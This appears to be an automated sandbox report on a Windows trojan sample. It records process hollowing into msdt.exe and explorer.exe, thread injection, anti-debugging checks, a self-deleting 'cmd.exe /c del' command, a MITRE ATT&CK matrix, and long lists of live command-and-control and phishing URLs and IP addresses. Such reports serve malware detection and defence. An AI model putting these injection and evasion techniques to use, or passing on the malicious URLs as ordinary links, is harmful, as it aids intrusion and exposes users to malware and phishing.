Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CE597 mov eax, dword ptr fs:[00000030h]	2_2_017CE597
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CE597 mov eax, dword ptr fs:[00000030h]	2_2_017CE597
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CE597 mov eax, dword ptr fs:[00000030h]	2_2_017CE597
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CE597 mov eax, dword ptr fs:[00000030h]	2_2_017CE597
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CE597 mov eax, dword ptr fs:[00000030h]	2_2_017CE597
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182C56D mov eax, dword ptr fs:[00000030h]	2_2_0182C56D
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DE58F mov eax, dword ptr fs:[00000030h]	2_2_017DE58F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DE58F mov eax, dword ptr fs:[00000030h]	2_2_017DE58F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A258C mov eax, dword ptr fs:[00000030h]	2_2_017A258C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D3460 mov eax, dword ptr fs:[00000030h]	2_2_017D3460

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Code function: 2_2_0040ACE0 LdrLoadDll,

2_2_0040ACE0

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Network Connect: 34.120.175.65 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.195.240.123 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.48.68 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.235.200.145 80	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Section unmapped: C:\Windows\SysWOW64\msdt.exe base address: 7E0000

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Section loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Section loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Memory written: C:\Users\user\Desktop\2FcJgghyXg.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Thread register set: target process: 4884			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Thread register set: target process: 4884			Jump to behavior

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process created: C:\Users\user\Desktop\2FcJgghyXg.exe C:\Users\user\Desktop\2FcJgghyXg.exe			Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\2FcJgghyXg.exe"			Jump to behavior

Source: explorer.exe, 00000003.00000000.1259038060.0000000001050000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.2499808023.0000000001051000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000003.00000000.1272310868.000000000BA01000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2502277789.00000000043A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1259038060.0000000001050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.1259038060.0000000001050000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.2499028894.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1258733334.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.1259038060.0000000001050000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.2499808023.0000000001051000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Queries volume information: C:\Users\user\Desktop\2FcJgghyXg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Process: explorer.exe, Module: user32.dll

Source: Yara match	File source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Shared Modules	Path Interception	612 Process Injection	1 Rootkit	1 Credential API Hooking	121 Security Software Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	12 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Masquerading	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	31 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	612 Process Injection	LSA Secrets	112 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Deobfuscate/Decode Files or Information	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Software Packing	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Timestomp	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2FcJgghyXg.exe	39%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://schemas.mi	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://schemas.microsoft.co	0%	URL Reputation	safe
http://schemas.micr	0%	URL Reputation	safe
http://www.emdefencetech.com	0%	Avira URL Cloud	safe
http://www.hot-tubs-59198.bond/us94/www.simarnit.com	100%	Avira URL Cloud	malware
http://www.l1z3x.cfd/us94/www.abithashop.com	0%	Avira URL Cloud	safe
http://www.b-cr5.ink	0%	Avira URL Cloud	safe
http://www.l1z3x.cfd	0%	Avira URL Cloud	safe
http://www.soccercitycupsc.com/us94/?FV9l7b=S5srMiwBCDtV4rjo3jAT9rEjkkSDttoSOLAmgXzTQBVP9tcOlEr2qFRjTuqDw5Sxe1FF&BbW=QzuhmF0pKL	0%	Avira URL Cloud	safe
http://www.hanabi104.online	0%	Avira URL Cloud	safe
http://www.b-cr5.inkReferer:	0%	Avira URL Cloud	safe
http://www.abithashop.com	0%	Avira URL Cloud	safe
http://www.abithashop.comReferer:	0%	Avira URL Cloud	safe
http://www.69v39.top/us94/?FV9l7b=gRE/KZOmUIl0E9O5tIrQ1aSnWhjtkyGjsCPW33OGocf8yDxoSBdOJbLmmBtR+4NwNN+r&BbW=QzuhmF0pKL	100%	Avira URL Cloud	phishing
http://www.truijkl.xyz/us94/www.j5tm84qrs.top	100%	Avira URL Cloud	phishing
http://www.hot-tubs-59198.bond	0%	Avira URL Cloud	safe
http://www.l1z3x.cfd/us94/	0%	Avira URL Cloud	safe
http://www.j5tm84qrs.top	0%	Avira URL Cloud	safe
http://www.69v39.top/us94/	100%	Avira URL Cloud	phishing
http://www.soccercitycupsc.comReferer:	0%	Avira URL Cloud	safe
http://www.nazadypro.shop/us94/	100%	Avira URL Cloud	malware
http://www.emdefencetech.comReferer:	0%	Avira URL Cloud	safe
http://www.nazadypro.shop/us94/www.soccercitycupsc.com	100%	Avira URL Cloud	malware
http://www.b-cr5.ink/us94/	100%	Avira URL Cloud	malware
https://powerpoint.office.comcember	0%	Avira URL Cloud	safe
http://www.truijkl.xyz	0%	Avira URL Cloud	safe
http://www.j5tm84qrs.top/us94/www.66xecqk.top	100%	Avira URL Cloud	phishing
http://www.66xecqk.topReferer:	0%	Avira URL Cloud	safe
http://www.69v39.top/us94/www.l1z3x.cfd	100%	Avira URL Cloud	phishing
http://www.soccercitycupsc.com/us94/www.69v39.top	0%	Avira URL Cloud	safe
http://www.soccercitycupsc.com/us94/	0%	Avira URL Cloud	safe
http://www.66xecqk.top/us94/www.terminalcomputer.info	100%	Avira URL Cloud	phishing
http://www.j5tm84qrs.top/us94/	100%	Avira URL Cloud	phishing
http://www.abithashop.com/us94/	100%	Avira URL Cloud	malware
http://www.hanabi104.onlineReferer:	0%	Avira URL Cloud	safe
http://www.ontheroadfromdamascus.com/us94/	100%	Avira URL Cloud	malware
http://www.hot-tubs-59198.bond/us94/	100%	Avira URL Cloud	malware
http://www.j5tm84qrs.topReferer:	0%	Avira URL Cloud	safe
http://www.66xecqk.top	0%	Avira URL Cloud	safe
http://www.terminalcomputer.info	0%	Avira URL Cloud	safe
www.l1z3x.cfd/us94/	0%	Avira URL Cloud	safe
http://www.nazadypro.shopReferer:	0%	Avira URL Cloud	safe
http://www.truijkl.xyzReferer:	0%	Avira URL Cloud	safe
http://www.simarnit.com/us94/www.hanabi104.online	100%	Avira URL Cloud	malware
http://www.ontheroadfromdamascus.com	0%	Avira URL Cloud	safe
http://www.hot-tubs-59198.bondReferer:	0%	Avira URL Cloud	safe
http://www.simarnit.com/us94/	100%	Avira URL Cloud	malware
http://www.simarnit.com	0%	Avira URL Cloud	safe
http://www.emdefencetech.com/us94/	100%	Avira URL Cloud	malware
http://www.emdefencetech.com/us94/www.nazadypro.shop	100%	Avira URL Cloud	malware
http://www.69v39.topReferer:	0%	Avira URL Cloud	safe
http://www.soccercitycupsc.com	0%	Avira URL Cloud	safe
http://www.terminalcomputer.info/us94/www.b-cr5.ink	100%	Avira URL Cloud	malware
http://www.69v39.top	0%	Avira URL Cloud	safe
http://www.abithashop.com/us94/www.truijkl.xyz	100%	Avira URL Cloud	malware
http://www.emdefencetech.com/us94/?FV9l7b=09CVAw2tWRgghkhUEy5C5oLzHr5PLkNGN/bgaCa/HPdap5UhvkEM57dmWPBbgbvu1iSh&BbW=QzuhmF0pKL	100%	Avira URL Cloud	malware
http://www.truijkl.xyz/us94/	100%	Avira URL Cloud	phishing
http://www.ontheroadfromdamascus.com/us94/www.hot-tubs-59198.bond	100%	Avira URL Cloud	malware
http://www.simarnit.comReferer:	0%	Avira URL Cloud	safe
http://www.l1z3x.cfdReferer:	0%	Avira URL Cloud	safe
http://www.terminalcomputer.infoReferer:	0%	Avira URL Cloud	safe
http://www.terminalcomputer.info/us94/	100%	Avira URL Cloud	malware
http://www.ontheroadfromdamascus.comReferer:	0%	Avira URL Cloud	safe
http://www.hanabi104.online/us94/	100%	Avira URL Cloud	malware
http://www.66xecqk.top/us94/	100%	Avira URL Cloud	phishing
http://www.nazadypro.shop	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.emdefencetech.com	91.195.240.123	true	true	unknown
www.nazadypro.shop	104.21.48.68	true	true	unknown
soccercitycupsc.com	66.235.200.145	true	true	unknown
www.69v39.top	34.120.175.65	true	false	unknown
www.soccercitycupsc.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.soccercitycupsc.com/us94/?FV9l7b=S5srMiwBCDtV4rjo3jAT9rEjkkSDttoSOLAmgXzTQBVP9tcOlEr2qFRjTuqDw5Sxe1FF&BbW=QzuhmF0pKL	true	Avira URL Cloud: safe	unknown
http://www.69v39.top/us94/?FV9l7b=gRE/KZOmUIl0E9O5tIrQ1aSnWhjtkyGjsCPW33OGocf8yDxoSBdOJbLmmBtR+4NwNN+r&BbW=QzuhmF0pKL	false	Avira URL Cloud: phishing	unknown
www.l1z3x.cfd/us94/	true	Avira URL Cloud: safe	low
http://www.emdefencetech.com/us94/?FV9l7b=09CVAw2tWRgghkhUEy5C5oLzHr5PLkNGN/bgaCa/HPdap5UhvkEM57dmWPBbgbvu1iSh&BbW=QzuhmF0pKL	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.b-cr5.inkReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.l1z3x.cfd/us94/www.abithashop.com	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.b-cr5.ink/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	explorer.exe, 00000003.00000002.2520807762.00000000105FF000.00000004.80000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2501650937.00000000056CF000.00000004.10000000.00040000.00000000.sdmp	false		high
http://schemas.mi	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.emdefencetech.com	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hanabi104.online	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	explorer.exe, 00000003.00000002.2520807762.00000000105FF000.00000004.80000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2501650937.00000000056CF000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.hot-tubs-59198.bond/us94/www.simarnit.com	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.b-cr5.ink	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comcember	explorer.exe, 00000003.00000000.1272310868.000000000BB08000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2516134404.000000000BB08000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.abithashop.com	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.abithashop.comReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	explorer.exe, 00000003.00000000.1267280115.00000000093F5000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.l1z3x.cfd	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.truijkl.xyz/us94/www.j5tm84qrs.top	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://excel.office.com	explorer.exe, 00000003.00000000.1272310868.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2516134404.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000003.00000000.1259489346.0000000002BD0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1265595351.0000000007770000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1265570865.0000000007760000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hot-tubs-59198.bond	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.l1z3x.cfd/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.69v39.top/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.soccercitycupsc.comReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.j5tm84qrs.top	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.emdefencetech.comReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nazadypro.shop/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.truijkl.xyz	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.j5tm84qrs.top/us94/www.66xecqk.top	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.nazadypro.shop/us94/www.soccercitycupsc.com	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://hm.baidu.com/hm.js?	explorer.exe, 00000003.00000002.2520807762.00000000105FF000.00000004.80000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2501650937.00000000056CF000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.66xecqk.topReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	explorer.exe, 00000003.00000002.2520807762.00000000105FF000.00000004.80000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2501650937.00000000056CF000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.69v39.top/us94/www.l1z3x.cfd	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.soccercitycupsc.com/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.soccercitycupsc.com/us94/www.69v39.top	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.microsoft.co	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.66xecqk.top/us94/www.terminalcomputer.info	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.abithashop.com/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.j5tm84qrs.top/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.ontheroadfromdamascus.com/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.hanabi104.onlineReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nazadypro.shopReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.66xecqk.top	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.com	explorer.exe, 00000003.00000000.1272310868.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2516134404.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.terminalcomputer.info	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hot-tubs-59198.bond/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.j5tm84qrs.topReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.truijkl.xyzReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.simarnit.com/us94/www.hanabi104.online	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.emdefencetech.com/us94/www.nazadypro.shop	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.ontheroadfromdamascus.com	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micr	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.com	explorer.exe, 00000003.00000000.1272310868.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2516134404.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.emdefencetech.com/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.abithashop.com/us94/www.truijkl.xyz	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.hot-tubs-59198.bondReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.terminalcomputer.info/us94/www.b-cr5.ink	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.simarnit.com	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.simarnit.com/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.soccercitycupsc.com	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.69v39.topReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.69v39.top	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.truijkl.xyz/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.ontheroadfromdamascus.com/us94/www.hot-tubs-59198.bond	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
